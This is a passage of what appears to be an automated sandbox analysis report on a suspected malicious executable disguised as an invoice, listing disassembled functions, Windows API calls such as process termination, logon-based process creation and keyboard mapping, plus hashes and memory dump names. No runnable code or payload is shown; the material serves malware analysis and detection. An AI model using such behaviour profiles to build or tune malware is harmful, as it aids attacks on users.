                                                                                            • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                            • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                            • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                            • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                            • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                            • String ID:
                                                                                            • API String ID: 1413079979-0
                                                                                            • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                            • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                            • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                            • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                            Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                            • __calloc_crt.LIBCMT ref: 0041419B
                                                                                            • __getptd.LIBCMT ref: 004141A8
                                                                                            • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                            • __dosmaperr.LIBCMT ref: 00414201
                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                            • String ID:
                                                                                            • API String ID: 1803633139-0
                                                                                            • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                            • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                            • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                            • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                            Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                            • String ID:
                                                                                            • API String ID: 3275902921-0
                                                                                            • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                            • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                            • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                            • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                            Function 004554B5 Relevance: 9.1, APIs: 6, Instructions: 62windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32 ref: 004554DF
                                                                                            • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3691411573-0
                                                                                            • Opcode ID: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                                            • Instruction ID: 46bf5c356378f1810468ef4d8dfe2f1c399e91f4bdd480ef4a2643e810f8fbb4
                                                                                            • Opcode Fuzzy Hash: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
                                                                                            • Instruction Fuzzy Hash: 8B1108713047419BC710DF68DDC8B2A77A8BB14322F400A6AFD14DB2D2D778DC498769
                                                                                            Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                            • String ID:
                                                                                            • API String ID: 1814673581-0
                                                                                            • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                            • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                            • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                            • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                            Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                            • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                            • String ID:
                                                                                            • API String ID: 2833360925-0
                                                                                            • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                            • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                            • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                            • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                            Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                            • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                            • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                            • EndPath.GDI32(?), ref: 0044724E
                                                                                            • StrokePath.GDI32(?), ref: 0044725C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                            • String ID:
                                                                                            • API String ID: 372113273-0
                                                                                            • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                            • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                            • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                            • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                            Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                            • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                            • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                            • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                            • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Virtual
                                                                                            • String ID:
                                                                                            • API String ID: 4278518827-0
                                                                                            • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                            • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                            • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                            • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                            Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                            • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                            • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                            • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CapsDevice$Release
                                                                                            • String ID:
                                                                                            • API String ID: 1035833867-0
                                                                                            • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                            • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                            • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                            • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                            Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                            • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                            • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                              • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                            • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                            • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                            • String ID:
                                                                                            • API String ID: 3495660284-0
                                                                                            • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                            • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                            • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                            • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                            Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                            • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                            • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                            • String ID:
                                                                                            • API String ID: 839392675-0
                                                                                            • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                            • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                            • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                            • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                            Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,00000004), ref: 00436055
                                                                                            • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                            • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                            • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                            • GetLastError.KERNEL32 ref: 00436081
                                                                                            • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                            • String ID:
                                                                                            • API String ID: 1690418490-0
                                                                                            • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                            • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                            • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                            • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                            Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                            • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                            • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                            • CoUninitialize.OLE32 ref: 00475D71
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                            • String ID: .lnk$HH
                                                                                            • API String ID: 886957087-3121654589
                                                                                            • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                            • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                            • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                            • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                            Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$Delete$InfoItem_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 1173514356-4108050209
                                                                                            • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                            • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
